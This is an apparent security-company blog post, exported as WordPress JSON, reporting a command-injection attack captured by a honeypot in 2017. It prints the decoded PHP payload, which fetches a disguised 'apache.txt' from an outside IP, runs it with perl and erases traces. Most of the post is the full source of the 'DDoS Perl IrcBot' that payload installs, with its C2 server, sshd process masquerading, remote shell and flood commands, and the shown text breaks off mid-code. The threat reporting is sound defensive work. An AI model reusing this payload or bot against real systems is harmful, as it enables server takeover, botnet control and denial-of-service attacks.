{"id":524,"date":"2017-11-20T05:55:39","date_gmt":"2017-11-20T05:55:39","guid":{"rendered":"http:\/\/www.cloudcoffer.com\/?p=524"},"modified":"2017-12-25T11:05:38","modified_gmt":"2017-12-25T11:05:38","slug":"honeypot-extraction-command","status":"publish","type":"post","link":"https:\/\/www.cloudcoffer.com\/?p=524","title":{"rendered":"Honeypot Extraction -Command Injection"},"content":{"rendered":"

<\/h3>\n

Date of Detection:<\/strong><\/h3>\n

2017.11.20<\/p>\n

 <\/p>\n

Source IP Addresses:<\/strong><\/h3>\n

27.255.77.103<\/p>\n

 <\/p>\n

Attack Raw Pattern:<\/strong><\/h3>\n

After decoding URL, the pattern is as follows.<\/p>\n

<? system(\"cd \/tmp ; wget http:\/\/175.126.167.52\/apache.txt ; curl -O http:\/\/175.126.167.52\/apache.txt ; fetch http:\/\/175.126.167.52\/apache.txt ; chmod +x apache.txt ; perl apache.txt ; rm -rf apache.txt ; history -c \"); ?>\r\n\r\n\r\n<\/pre>\n
Malicious File Path from the Exploit:<\/strong><\/h3>\n
The technique used in this attack is worthy of noticing. First, the attacker entered the directory named tmp. Then, the attacker downloaded apache.txt, which contained malicious code. The txt extension was used to fool defending systems. After downloading the file, the attacker converted the text file into an executable one and executed it. Finally, the attacker removed apache.txt and cleaned the command history. The process name of Apache.txt was also very similar to normal processes, so it\u2019s hard for administrators to notice that the machine has been compromised. In short, the attacker tried to control the vulnerable systems to download the text file, converted it into executable one, executed it and then finally deleted it.<\/p>\n
The content of the malicious text file is as follows.<\/p>\n
 <\/p>\n
#!\/usr\/bin\/perl\r\n\r\n######################################################################################################################\r\n######################################################################################################################\r\n##  DDoS Perl IrcBot v1.0 \/ 2012 by DDoS Security Team       ## [ Help ] ###########################################\r\n##      Stealth MultiFunctional IrcBot writen in Perl          #######################################################\r\n##        Teste on every system with PERL instlled             ##  !u @system                                       ##\r\n##                                                             ##  !u @version                                      ##\r\n##     This is a free program used on your own risk.           ##  !u @channel                                      ##\r\n##        Created for educational purpose only.                ##  !u @flood                                        ##\r\n## I'm not responsible for the illegal use of this program.    ##  !u @utils                                        ##\r\n######################################################################################################################\r\n## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ###########################\r\n######################################################################################################################\r\n##  !u @join <#channel>\t         ##  !u @udp1 <ip> <port> <time>              ##  !u @cback <ip> <port>             ##\r\n##  !u @part <#channel>          ##  !u @udp2 <ip> <packet size> <time>       ##  !u @downlod <url+path> <file>     ##\r\n##  !u !uejoin <#channel>        ##  !u @udp3 <ip> <port> <time>              ##  !u @portscan <ip>                 ##\r\n##  !u !op <channel> <nick>      ##  !u @tcp <ip> <port> <packet size> <time> ##  !u @mail <subject> <sender>       ##\r\n##  !u !deop <channel> <nick>    ##  !u @http <site> <time>                   ##           <recipient> <message>    ##\r\n##  !u !voice <channel> <nick>   ##                                           ##  !u pwd;uname -a;id <for example>  ##\r\n##  !u !devoice <channel> <nick> ##  !u @ctcpflood <nick>                     ##  !u @port <ip> <port>              ##\r\n##  !u !nick <newnick>           ##  !u @msgflood <nick>                      ##  !u @dns <ip\/host>                 ##\r\n##  !u !msg <nick>               ##  !u @noticeflood <nick>                   ##                                    ##\r\n##  !u !quit                     ##                                           ##                                    ##\r\n##  !u !uaw                      ##                                           ##                                    ##\r\n##  !u @die                      ##                                           ##                                    ##\r\n##                               ##                                           ##                                    ##\r\n######################################################################################################################\r\n######################################################################################################################\r\n\r\n#############################\r\n##### [ Configuration ] #####\r\n#############################\r\n\r\nmy @rps = (\"\/usr\/sbin\/sshd\");\r\n\r\nmy $process = $rps[rand scalar @rps];\r\n\r\nmy @rversion = (\"\\001VERSION - unknown command.\\001\",\r\n\t\t\t\t\"\\001mIRC v5.91 K.Mardam-Bey\\001\",\r\n\t\t\t\t\"\\001mIRC v6.2 Khaled Mardam-Bey\\001\",\r\n\t\t\t\t\"\\001mIRC v6.03 Khaled Mardam-Bey\\001\",\r\n\t\t\t\t\"\\001mIRC v6.14 Khaled Mardam-Bey\\001\",\r\n\t\t\t\t\"\\001mIRC v6.15 Khaled Mardam-Bey\\001\",\r\n\t\t\t\t\"\\001mIRC v6.16 Khaled Mardam-Bey\\001\",\r\n\t\t\t\t\"\\001mIRC v6.17 Khaled Mardam-Bey\\001\",\r\n\t\t\t\t\"\\001mIRC v6.21 Khaled Mardam-Bey\\001\",\r\n\t\t\t\t\"\\001mIRC v6.31 Khaled Mardam-Bey\\001\",\r\n\t\t\t\t\"\\001mIRC v7.15 Khaled Mardam-Bey\\001\");\r\nmy $vers = $rversion[rand scalar @rversion];\r\n\r\nmy @rircname = (\"abbore\",\"ably\",\"abyss\",\"acrima\",\"aerodream\",\"afkdemon\",\"ainthere\",\"alberto\",\"alexia\",\"alexndra\",\r\n\t\t\t\t\"alias\",\"alikki\",\"alphaa\",\"alterego\",\"alvin\",\"ambra\",\"amed\",\"andjela\",\"andreas\",\"anja\",\r\n\t\t\t\t\"anjing\",\"anna\",\"apeq\",\"arntz\",\"arskaz\",\"as\",\"asmodizz\",\"asssa\",\"athanas\",\"aulis\",\r\n\t\t\t\t\"aus\",\"bar\",\"bast\",\"bedem\",\"beeth\",\"bella\",\"birillo\",\"bizio\",\"blackhand\",\"blacky\",\r\n\t\t\t\t\"blietta\",\"blondenor\",\"blueangel\",\"bluebus\",\"bluey\",\"bobi\",\"bopoh\",\"borre\",\"boy\",\"bram\",\r\n\t\t\t\t\"brigitta\",\"brio\",\"brrrweg\",\"brujah\",\"caprcorn\",\"carloto\",\"catgirl\",\"cathren\",\"cemanmp\",\"chainess\",\r\n\t\t\t\t\"chaingone\",\"chck\",\"chriz\",\"cigs\",\"cintat\",\"clarissa\",\"clbiz\",\"clex\",\"cobe\",\"cocker\",\r\n\t\t\t\t\"coke\",\"colin\",\"conan\",\"condoom\",\"coop\",\"coopers\",\"corvonero\",\"countzero\",\"cracker\",\"cread\",\r\n\t\t\t\t\"crnaruka\",\"cruizer\",\"cubalibre\",\"cure\",\"custodes\",\"dan\",\"dangelo\",\"danic\",\"daniela\",\"dario\",\r\n\t\t\t\t\"darker\",\"darknz\",\"davide\",\"daw\",\"demigd\",\"des\",\"devastor\",\"diabolik\",\"dimkam\",\"dital\",\r\n\t\t\t\t\"djtt\",\"dogzzz\",\"dolfi\",\"dolphin\",\"dottmorte\",\"dracon\",\"dragon\",\"drtte\",\"dumbblnd\",\"dusica\",\r\n\t\t\t\t\"ebe\",\"edgie\",\"eggist\",\"einaimou\",\"elef\",\"elly\",\"emmi\",\"encer\",\"engerim\",\"erixon\",\r\n\t\t\t\t\"eurotrash\",\"fairsight\",\"fin\",\"fireaway\",\"fjortisch\",\"floutti\",\"fluffer\",\"flum\",\"forever\",\"fqw\",\r\n\t\t\t\t\"fra\",\"freem\",\"freew\",\"freud\",\"funny\",\"furia\",\"furunkuli\",\"fwsmou\",\"gad\",\"gamppy\",\r\n\t\t\t\t\"gerhard\",\"ghostie\",\"gili\",\"girlie\",\"giugno\",\"gizmo\",\"glidaren\",\"gold\",\"gomora\",\"gracie\",\r\n\t\t\t\t\"grave\",\"graz\",\"grron\",\"gsund\",\"gufoao\",\"hali\",\"hallas\",\"hammer\",\"harri\",\"harry\",\r\n\t\t\t\t\"hayes\",\"hazor\",\"herbiez\",\"hlios\",\"hoffi\",\"honeii\",\"hongkong\",\"hug\",\"iasv\",\"ibanez\",\r\n\t\t\t\t\"ibanz\",\"ibar\",\"igi\",\"illusins\",\"imp\",\"inkworks\",\"iplord\",\"ivan\",\"ja\",\"jaffa\",\r\n\t\t\t\t\"jaimeafk\",\"james\",\"jamezdin\",\"janet\",\"janne\",\"jason\",\"javagrl\",\"jayc\",\"jazz\",\r\n\t\t\t\t\"jejborta\",\"jester\",\"jj\",\"jn\",\"jockey\",\"joe\",\"joelbitar\",\"johannes\",\"johndow\",\"johnny\",\r\n\t\t\t\t\"joni\",\"jonni\",\"jornx\",\"joshua\",\"jossumi\",\"judy\",\"juge\",\"juha\",\"juhas\",\"julze\",\r\n\t\t\t\t\"juutsu\",\"kajman\",\"kalca\",\"kamileon\",\"kardinal\",\"kasandra\",\"katarina\",\"kaviee\",\"kbee\",\"ken\",\r\n\t\t\t\t\"keung\",\"kewin\",\"khan\",\"kikeli\",\"kikii\",\"kilroi\",\"kiwi\",\"klaara\",\"kliimax\",\"klimas\",\r\n\t\t\t\t\"kode\",\"kojv\",\"koopal\",\"kralj\",\"krash\",\"krista\",\"kronos\",\"ktx\",\"kungen\",\"kuppa\",\r\n\t\t\t\t\"kurai\",\"lala\",\"lamour\",\"latina\",\"legend\",\"lenisaway\",\"lily\",\"linda\",\"lingyee\",\"linux\",\r\n\t\t\t\t\"lisa\",\"lisha\",\"litta\",\"littleboy\",\"liverpoo\",\"liyen\",\"liz\",\"liza\",\"lonely\",\"lonelygal\",\r\n\t\t\t\t\"lonewolf\",\"lopez\",\"lordie\",\"lovebyte\",\"lph\",\"luarbiasa\",\"lucignol\",\"lullaby\",\"lunatic\",\"luny\",\r\n\t\t\t\t\"lupo\",\"mac\",\"macesgl\",\"madd\",\"mailman\",\"malkav\",\"malr\",\"mamakians\",\"mamaw\",\"manarimou\",\r\n\t\t\t\t\"manarisou\",\"maradona\",\"marakana\",\"marco\",\"marillion\",\"mark\",\"mary\",\"master\",\"maurino\",\"max\",\r\n\t\t\t\t\"mcalcota\",\"melanie\",\"melinda\",\"meph\",\"mephisto\",\"mg\",\"mhj\",\"mhz\",\"mig\",\"miina\",\r\n\t\t\t\t\"mika\",\"mikav\",\"mike\",\"mikemcgii\",\"mikko\",\"mikma\",\"mimma\",\"miss\",\"moladmin\",\"monikaw\",\r\n\t\t\t\t\"monkeyboy\",\"monroe\",\"monstop\",\"mooks\",\"mordeshur\",\"mpdike\",\"mrbate\",\"mrbeauty\",\"mrblom\",\"mrbx\",\r\n\t\t\t\t\"mrjee\",\"mro\",\"mrtabizy\",\"mrx\",\"mrxx\",\"msd\",\"mu\",\"muimui\",\"musashi\",\"musc\",\r\n\t\t\t\t\"musce\",\"musicgal\",\"muti\",\"myboy\",\"mystr\",\"mythic\",\"mywife\",\"nallllle\",\"nanask\",\"natalie\",\r\n\t\t\t\t\"natborta\",\"ncubus\",\"neutrino\",\"niceguy\",\"nico\",\"niklas\",\"nimfa\",\"nino\",\"nurul\",\"obiwanbip\",\r\n\t\t\t\t\"ogre\",\"olivia\",\"omega\",\"only\",\"orac\",\"orace\",\"oranzzzzz\",\"organza\",\"ourlove\",\"outworld\",\r\n\t\t\t\t\"outzake\",\"oxygn\",\"paliadog\",\"pazarac\",\"permaloso\",\"perroz\",\"pessaar\",\"phre\",\"phreaky\",\"pihkal\",\r\n\t\t\t\t\"pinball\",\"poesje\",\"poison\",\"poofie\",\"popy\",\"powerpc\",\"pper\",\"primera\",\"primetime\",\"proxyma\",\r\n\t\t\t\t\"pshyche\",\"psioncore\",\"psiximou\",\"psixisou\",\"psychosis\",\"psyidle\",\"pszaah\",\"puppetm\",\"pzzzz\",\r\n\t\t\t\t\"quattro\",\"question\",\"ra\",\"ragio\",\"ragnetto\",\"raiden\",\"raindance\",\"raistln\",\"ranu\",\"raska\",\r\n\t\t\t\t\"raul\",\"raye\",\"reartu\",\"red\",\"reflect\",\"ribica\",\"richard\",\"rick\",\"rigo\",\"rikuta\",\r\n\t\t\t\t\"rikuxr\",\"rita\",\"rix\",\"rob\",\"roku\",\"ronaldo\",\"ronwrl\",\"roticanai\",\"rugiada\",\"ruthless\",\r\n\t\t\t\t\"saalut\",\"sammi\",\"sand\",\"satanins\",\"schzsh\",\"scorpin\",\"sealink\",\"sean\",\"secret\",\"serpentor\",\r\n\t\t\t\t\"servant\",\"sethi\",\"sexbolek\",\"sexyman\",\"sharmm\",\"shearer\",\"shekel\",\"shio\",\"shortys\",\"shred\",\r\n\t\t\t\t\"sidewalk\",\"sil\",\"siren\",\"skar\",\"skill\",\"skru\",\"sky\",\"skygun\",\"skylink\",\"slaktarn\",\r\n\t\t\t\t\"slash\",\"slgon\",\"smarties\",\"smck\",\"snake\",\"snike\",\"snoopgirl\",\"sodoma\",\"sopocani\",\"sorceress\",\r\n\t\t\t\t\"spacebbl\",\"spacedump\",\"spanker\",\"spermboy\",\"spirtouli\",\"srk\",\"stazzz\",\"steve\",\"stinga\",\"stj\",\r\n\t\t\t\t\"stjf\",\"studenica\",\"stussy\",\"suez\",\"suhoj\",\"sukun\",\"sunsola\",\"surfer\",\"sutera\",\"svearike\",\r\n\t\t\t\t\"sweetii\",\"sweetlady\",\"sweklopi\",\"swepilot\",\"switch\",\"syncphos\",\"szern\",\"takumura\",\"tallaxlc\",\"tampone\",\r\n\t\t\t\t\"tarabas\",\"tatano\",\"tato\",\"tennis\",\"tenx\",\"terence\",\"terkukur\",\"tero\",\"thefox\",\"thesint\",\r\n\t\t\t\t\"timer\",\"timewalk\",\"tmhd\",\"tnxfck\",\"to\",\"tomihki\",\"tommy\",\"topo\",\"triumph\",\"trustme\",\r\n\t\t\t\t\"tungau\",\"tupac\",\"turbozzzz\",\"turing\",\"tvrdjava\",\"tysn\",\"unicron\",\"uoff\",\"uptimer\",\"utopia\",\r\n\t\t\t\t\"vader\",\"vaismi\",\"vajje\",\"vanda\",\"varjo\",\"vass\",\"vento\",\"venusguy\",\"vertie\",\"viagara\",\r\n\t\t\t\t\"vicious\",\"vidxxx\",\"virex\",\"vodafone\",\"vone\",\"vrgnie\",\"vuubeibe\",\"wanderer\",\"warrr\",\"wasabboy\",\r\n\t\t\t\t\"weebee\",\"wellu\",\"wendy\",\"whiskey\",\"willgood\",\"wing\",\"winny\",\"wknight\",\"wlly\",\"wolfman\",\r\n\t\t\t\t\"wow\",\"wp\",\"xarasou\",\"xtreme\",\"xxx\",\"xzone\",\"yakzr\",\"yang\",\"yashy\",\"yasin\",\r\n\t\t\t\t\"yenyen\",\"ykbug\",\"yogiebear\",\"zai\",\"zfstr\",\"zinj\",\"zizu\",\"zvezda\",\"zwimou\",\"zwisou\",\r\n\t\t\t\t\"zwsiew\",\"zwsiewale\");\r\n\r\nmy $ircname = $rircname[rand scalar @rircname];\r\n\r\n## my @rrealname = (\"\u00034,1[ DDoS Security Team ]\u0002\",\r\n## \t\t\t\t    \"\u00034,1 \u001f\/!\\\u001f DDoS Security Team \u001f\/!\\\u001f \u0003\u0003\",\r\n##\t\t\t\t    \"\u0003\u000312,1\u001f<\/\/\/\u0003\u00038,1\/\/\/\u0003\u00034,1###>\u001f\u0003\",\r\n##                  \"\u00032,1---=== \u00034,1\u0002 DDoS Security Team \u00032,1===---\");\r\n## chop (my $realname = $rrealname[rand scalar @rrealname]);\r\n\r\nchop (my $realname = $rircname[rand scalar @rircname]);\r\n\r\n## my @nickname = (\"DDoS[U]\");\r\n## my $nick =$nickname[rand scalar @nickname];\r\n\r\nmy $nick =$rircname[rand scalar @rircname];\r\n\r\n$server = 'lucisrv.ddns.net' unless $server;\r\nmy $port = '8085';\r\n\r\nmy $linas_max='8';\r\nmy $sleep='5';\r\n\r\nmy $homedir = \"\/tmp\";\r\nmy $version = 'Ce altii acum invata..Eu incerc sa uit! :)))))';\r\n\r\nmy @admins = (\"davinci\",\"davinci-\",\"gov\");\r\nmy @hostauth = (\"davinci.gov\",\"gov\");\r\nmy @channels = (\"#apache\");\r\n\r\nmy $pacotes = 1;\r\n\r\n#################################################################\r\n##### [ Stop Editing if you dont know what are you doing. ] #####\r\n#################################################################\r\n\r\n$SIG{'INT'} = 'IGNORE';\r\n$SIG{'HUP'} = 'IGNORE';\r\n$SIG{'TERM'} = 'IGNORE';\r\n$SIG{'CHLD'} = 'IGNORE';\r\n$SIG{'PS'} = 'IGNORE';\r\n\r\nuse Socket;\r\nuse IO::Socket;\r\nuse IO::Socket::INET;\r\nuse IO::Select;\r\n\r\nchdir(\"$homedir\");\r\n\r\n$server=\"$ARGV[0]\" if $ARGV[0];\r\n$0=\"$process\".\"\\0\"x16;;\r\nmy $pid=fork;\r\nexit if $pid;\r\ndie \"Can't fork in background: $!\" unless defined($pid);\r\n\r\nour %irc_servers;\r\nour %DCC;\r\nmy $dcc_sel = new IO::Select->new();\r\n$sel_cliente = IO::Select->new();\r\nsub sendraw {\r\n  if ($#_ == '1') {\r\n    my $socket = $_[0];\r\n    print $socket \"$_[1]\\n\";\r\n  } else {\r\n    print $IRC_cur_socket \"$_[0]\\n\";\r\n  }\r\n}\r\n\r\nsub getstore ($$)\r\n{\r\n  my $url = shift;\r\n  my $file = shift;\r\n  $http_stream_out = 1;\r\n  open(GET_OUTFILE, \"> $file\");\r\n  %http_loop_check = ();\r\n  _get($url);\r\n  close GET_OUTFILE;\r\n  return $main::http_get_result;\r\n}\r\n\r\nsub _get\r\n{\r\n  my $url = shift;\r\n  my $proxy = \"\";\r\n  grep {(lc($_) eq \"http_proxy\") && ($proxy = $ENV{$_})} keys %ENV;\r\n  if (($proxy eq \"\") && $url =~ m,^http:\/\/([^\/:]+)(?::(\\d+))?(\/\\S*)?$,) {\r\n    my $host = $1;\r\n    my $port = $2 || 80;\r\n    my $path = $3;\r\n    $path = \"\/\" unless defined($path);\r\n    return _trivial_http_get($host, $port, $path);\r\n  } elsif ($proxy =~ m,^http:\/\/([^\/:]+):(\\d+)(\/\\S*)?$,) {\r\n    my $host = $1;\r\n    my $port = $2;\r\n    my $path = $url;\r\n    return _trivial_http_get($host, $port, $path);\r\n  } else {\r\n    return undef;\r\n  }\r\n}\r\n\r\n\r\nsub _trivial_http_get\r\n{\r\n  my($host, $port, $path) = @_;\r\n  my($AGENT, $VERSION, $p);\r\n  $AGENT = \"get-minimal\";\r\n  $VERSION = \"20000118\";\r\n  $path =~ s\/ \/%20\/g;\r\n\r\n  require IO::Socket;\r\n  local($^W) = 0;\r\n  my $sock = IO::Socket::INET->new(PeerAddr => $host,\r\n                                   PeerPort => $port,\r\n                                   Proto   => 'tcp',\r\n                                   Timeout  => 60) || return;\r\n  $sock->autoflush;\r\n  my $netloc = $host;\r\n  $netloc .= \":$port\" if $port != 80;\r\n  my $request = \"GET $path HTTP\/1.0\\015\\012\"\r\n              . \"Host: $netloc\\015\\012\"\r\n              . \"User-Agent: $AGENT\/$VERSION\/u\\015\\012\";\r\n  $request .= \"Pragma: no-cache\\015\\012\" if ($main::http_no_cache);\r\n  $request .= \"\\015\\012\";\r\n  print $sock $request;\r\n\r\n  my $buf = \"\";\r\n  my $n;\r\n  my $b1 = \"\";\r\n  while ($n = sysread($sock, $buf, 8*1024, length($buf))) {\r\n    if ($b1 eq \"\") {\r\n      $b1 = $buf;\r\n      $buf =~ s\/.+?\\015?\\012\\015?\\012\/\/s;\r\n    }\r\n    if ($http_stream_out) { print GET_OUTFILE $buf; $buf = \"\"; }\r\n  }\r\n  return undef unless defined($n);\r\n  $main::http_get_result = 200;\r\n  if ($b1 =~ m,^HTTP\/\\d+\\.\\d+\\s+(\\d+)[^\\012]*\\012,) {\r\n    $main::http_get_result = $1;\r\n    if ($main::http_get_result =~ \/^30[1237]\/ && $b1 =~ \/\\012Location:\\s*(\\S+)\/) {\r\n      my $url = $1;\r\n      return undef if $http_loop_check{$url}++;\r\n      return _get($url);\r\n    }\r\n    return undef unless $main::http_get_result =~ \/^2\/;\r\n  }\r\n\r\n  return $buf;\r\n}\r\n\r\nsub conectar {\r\n  my $meunick = $_[0];\r\n  my $server_con = $_[1];\r\n  my $port_con = $_[2];\r\n  my $IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"$server_con\",\r\n  PeerPort=>$port_con) or return(1);\r\n  if (defined($IRC_socket)) {\r\n    $IRC_cur_socket = $IRC_socket;\r\n    $IRC_socket->autoflush(1);\r\n    $sel_cliente->add($IRC_socket);\r\n    $irc_servers{$IRC_cur_socket}{'host'} = \"$server_con\";\r\n    $irc_servers{$IRC_cur_socket}{'port'} = \"$port_con\";\r\n    $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;\r\n    $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;\r\n    nick(\"$meunick\");\r\n    sendraw(\"USER $ircname \".$IRC_socket->sockhost.\" $server_con :$realname\");\r\n    sleep 1;\r\n  }\r\n}\r\n\r\nmy $line_temp;\r\nwhile( 1 ) {\r\n  while (!(keys(%irc_servers))) { conectar(\"$nick\", \"$server\", \"$port\"); }\r\n  delete($irc_servers{''}) if (defined($irc_servers{''}));\r\n  my @ready = $sel_cliente->can_read(0);\r\n  next unless(@ready);\r\n  foreach $fh (@ready) {\r\n    $IRC_cur_socket = $fh;\r\n    $meunick = $irc_servers{$IRC_cur_socket}{'nick'};\r\n    $nread = sysread($fh, $msg, 4096);\r\n    if ($nread == 0) {\r\n      $sel_cliente->remove($fh);\r\n      $fh->close;\r\n      delete($irc_servers{$fh});\r\n    }\r\n    @lines = split (\/\\n\/, $msg);\r\n    for(my $c=0; $c<= $#lines; $c++) {\r\n      $line = $lines[$c];\r\n      $line=$line_temp.$line if ($line_temp);\r\n      $line_temp='';\r\n      $line =~ s\/\\r$\/\/;\r\n      unless ($c == $#lines) {\r\n        parse(\"$line\");\r\n        } else {\r\n        if ($#lines == 0) {\r\n          parse(\"$line\");\r\n          } elsif ($lines[$c] =~ \/\\r$\/) {\r\n          parse(\"$line\");\r\n          } elsif ($line =~ \/^(\\S+) NOTICE AUTH :\\*\\*\\*\/) {\r\n          parse(\"$line\"); \r\n        } else {\r\n      $line_temp = $line;\r\n        }\r\n      }\r\n    }\r\n  }\r\n}\r\n\r\nsub parse {\r\n  my $servarg = shift;\r\n  if ($servarg =~ \/^PING \\:(.*)\/) {\r\n    sendraw(\"PONG :$1\");\r\n    } elsif ($servarg =~ \/^\\:(.+?)\\!(.+?)\\@(.+?) PRIVMSG (.+?) \\:(.+)\/) {\r\n    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;\r\n    if ($args =~ \/^\\001VERSION\\001$\/) {\r\n      \t notice(\"$pn\", \"\".$vers.\"\");\r\n    }\r\n\tif (grep {$_ =~ \/^\\Q$hostmask\\E$\/i } @hostauth) {\r\n    if (grep {$_ =~ \/^\\Q$pn\\E$\/i } @admins ) {\r\n    if ($onde eq \"$meunick\"){\r\n    shell(\"$pn\", \"$args\");\r\n  }\r\n  if ($args =~ \/^(\\Q$meunick\\E|\\!u)\\s+(.*)\/ ) {\r\n    my $natrix = $1;\r\n    my $arg = $2;\r\n    if ($arg =~ \/^\\!(.*)\/) {\r\n      ircase(\"$pn\",\"$onde\",\"$1\");\r\n      } elsif ($arg =~ \/^\\@(.*)\/) {\r\n      $ondep = $onde;\r\n      $ondep = $pn if $onde eq $meunick;\r\n      bfunc(\"$ondep\",\"$1\");\r\n      } else {\r\n      shell(\"$onde\", \"$arg\");\r\n    }\r\n  }\r\n}\r\n}\r\n}\r\n\r\nelsif ($servarg =~ \/^\\:(.+?)\\!(.+?)\\@(.+?)\\s+NICK\\s+\\:(\\S+)\/i) {\r\n  if (lc($1) eq lc($meunick)) {\r\n  $meunick=$4;\r\n  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;\r\n  }\r\n  } elsif ($servarg =~ m\/^\\:(.+?)\\s+433\/i) {\r\n  nick(\"$meunick-\".int rand(9999));\r\n  } elsif ($servarg =~ m\/^\\:(.+?)\\s+001\\s+(\\S+)\\s\/i) {\r\n  $meunick = $2;\r\n  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;\r\n  $irc_servers{$IRC_cur_socket}{'nome'} = \"$1\";\r\n  foreach my $canal (@channels) {\r\n\tsendraw(\"MODE $nick +x\");\r\n    sendraw(\"JOIN $canal\");\r\n\tsendraw(\"PRIVMSG $canal :\u0002\u00034,1 [DDoS Perl Bot]\u0002 \u00039,1Hello, I`m Ready To Serve ... \u0003\u0002\");\r\n}\r\n}\r\n}\r\n\r\nsub bfunc {\r\nmy $printl = $_[0];\r\nmy $funcarg = $_[1];\r\n  if (my $pid = fork) {\r\n  waitpid($pid, 0);\r\n  } else {\r\n  if (fork) {\r\n  exit;\r\n  } else {\r\n###########################\r\n##### [ Help Module ] #####\r\n###########################\r\n\r\nif ($funcarg =~ \/^help\/) {\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1======================= \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1DDoS PerlBot Main Help:  \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1======================= \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1system              \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1version             \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1channel             \u0003\");\t\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1flood               \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1utils               \u0003\");\t\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1======================= \u0003\u0002\");\r\n}\r\n\r\nif ($funcarg =~ \/^system\/) {\r\n\t$uptime=`uptime`;\r\n\t$ownd=`pwd`; \r\n\t$id=`id`;\r\n\t$uname=`uname -srp`;\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1=================== \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1Bot Configuration:  \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1=================== \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1*Server       :\u0003 \u0002\u000312$server \");\t\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1*Port         :\u0003 \u0002\u000312$port \");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1*Channels     :\u0003 \u0002\u000312@channels \");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1*uname -a     :\u0003 \u0002\u000312$uname \");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1*uptime       :\u0003 \u0002\u000312$uptime \");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1*FakeProcess  :\u0003 \u0002\u000312$process \");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1*ProcessPID   :\u0003 \u0002\u000312$$ \");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1*ID           :\u0003 \u0002\u000312$id \");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1*Own Dir      :\u0003 \u0002\u000312$ownd \");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [System]\u0002 \u00039,1=================== \u0003\u0002\");\r\n}\r\n\r\nif ($funcarg =~ \/^version\/){\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Version]\u0002 \u00039,1================================== \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Version]\u0002 \u00039,1Bot Informations:                  \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Version]\u0002 \u00039,1================================== \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Version]\u0002 \u00039,1*Bot Version : \u000312$version   \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Version]\u0002 \u00039,1*Bot Creator : \u000312DDoS             \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Version]\u0002 \u00039,1*Bot Year    : \u0003122012                \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Version]\u0002 \u00039,1================================== \u0003\u0002\");\r\n}\r\n\r\nif ($funcarg =~ \/^flood\/) {\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1========================================= \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1DDoS PerlBot Flood Help: \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1========================================= \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1udp1 <ip> <port> <time>               \u0003\");\r\n\tsendraw($IRC_cur_socket, 